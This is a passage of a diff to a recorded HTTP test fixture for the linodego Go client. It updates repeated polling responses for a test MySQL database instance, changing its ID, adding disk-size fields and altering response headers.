interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:51:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15925,7 +20673,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15941,17 +20689,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15964,16 +20713,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:51:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15989,7 +20741,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16005,17 +20757,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16028,16 +20781,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:52:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16053,7 +20809,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16069,17 +20825,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16092,16 +20849,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:52:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16117,7 +20877,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16133,17 +20893,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16156,16 +20917,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:52:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16181,7 +20945,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16197,17 +20961,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16220,16 +20985,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:52:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16245,7 +21013,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16261,17 +21029,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16284,16 +21053,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:53:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16309,7 +21081,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16325,17 +21097,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16348,16 +21121,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:53:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16373,7 +21149,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16389,17 +21165,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16412,16 +21189,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:53:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16437,7 +21217,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16453,17 +21233,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16476,16 +21257,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:53:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16501,7 +21285,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16517,17 +21301,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16540,16 +21325,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:54:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16565,7 +21353,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16581,17 +21369,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16604,16 +21393,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:54:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16629,7 +21421,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16645,17 +21437,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16668,16 +21461,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:54:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16693,7 +21489,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16709,17 +21505,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16732,16 +21529,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:54:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ 